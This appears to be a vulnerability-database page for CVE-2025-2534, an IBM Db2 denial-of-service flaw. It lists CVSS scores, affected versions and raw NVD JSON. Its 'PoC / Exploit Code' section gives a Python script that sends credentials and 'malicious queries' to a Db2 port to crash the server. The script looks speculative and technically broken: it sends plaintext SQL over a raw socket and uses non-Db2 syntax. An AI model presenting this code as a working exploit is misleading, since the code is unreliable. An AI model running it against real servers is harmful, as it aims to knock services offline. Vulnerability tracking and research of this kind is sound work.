Security Vulnerability Report
中文
CVE-2025-2534 CVSS 5.3 MEDIUM

CVE-2025-2534

Published: 2025-11-07 19:15:47
Last Modified: 2025-11-19 16:44:35

Description

IBM Db2 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
IBM Db2 11.1.0 - 11.1.4.7 (Linux, UNIX, Windows)
IBM Db2 11.5.0 - 11.5.9 (Linux, UNIX, Windows)
IBM Db2 12.1.0 - 12.1.3 (Linux, UNIX, Windows)
IBM Db2 Connect Server (所有受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # CVE-2025-2534 PoC - IBM Db2 DoS via crafted query # This PoC demonstrates sending a specially crafted query to trigger the DoS condition # Note: Replace target_ip and credentials with actual values def exploit_ibm_db2_dos(target_ip, port=50000, username='db2admin', password='password'): """ Attempt to trigger CVE-2025-2534 DoS vulnerability in IBM Db2 This PoC sends a specially crafted query that may cause server crash """ # Malicious query pattern that may trigger the DoS condition # Based on the vulnerability description, any specially crafted query can trigger the issue malicious_queries = [ # Pattern 1: Deep nested subquery "SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM SYSIBM.SYSTABLES))) t1,\n (SELECT * FROM (SELECT * FROM (SELECT * FROM SYSIBM.SYSTABLES))) t2", # Pattern 2: Complex recursive CTE (if supported) "WITH RECURSIVE cte AS (SELECT 1 AS n UNION ALL SELECT n+1 FROM cte WHERE n < 10000) SELECT * FROM cte", # Pattern 3: Excessive JOIN operations "SELECT * FROM SYSIBM.SYSTABLES t1 JOIN SYSIBM.SYSTABLES t2 ON 1=1 " + "JOIN SYSIBM.SYSTABLES t3 ON 1=1 " * 100 ] try: # Connect to IBM Db2 server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Send authentication (simplified - actual auth would be more complex) auth_packet = f"CONNECT TO DBNAME USER {username} USING {password}\n" sock.send(auth_packet.encode()) time.sleep(1) # Send malicious queries for query in malicious_queries: print(f"[*] Sending malicious query: {query[:50]}...") sock.send((query + "\n").encode()) time.sleep(2) print("[*] Malicious queries sent. Monitor target server for crash condition.") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration - modify these values for testing TARGET_IP = "192.168.1.100" PORT = 50000 USERNAME = "db2user" PASSWORD = "db2pass" print("CVE-2025-2534 IBM Db2 DoS PoC") print("Use only on systems you have permission to test.") exploit_ibm_db2_dos(TARGET_IP, PORT, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2534", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:15:46.710", "lastModified": "2025-11-19T16:44:35.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "3B5A9A8A-5EE6-428A-8B3D-543B2F84D615"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "5971CCFD-FB34-4216-8A87-A4310EF34F23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "960AA97F-0D2C-4B33-9754-69BC28399BCE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "2AA1764B-CD82-4B33-B85B-27CA2F7C0ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "8F63D92C-AC19-4FB0-A605-08DC01875E7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "E28DCDF3-EF5B-47D6-BD38-C98334B67BE4"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7250472", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}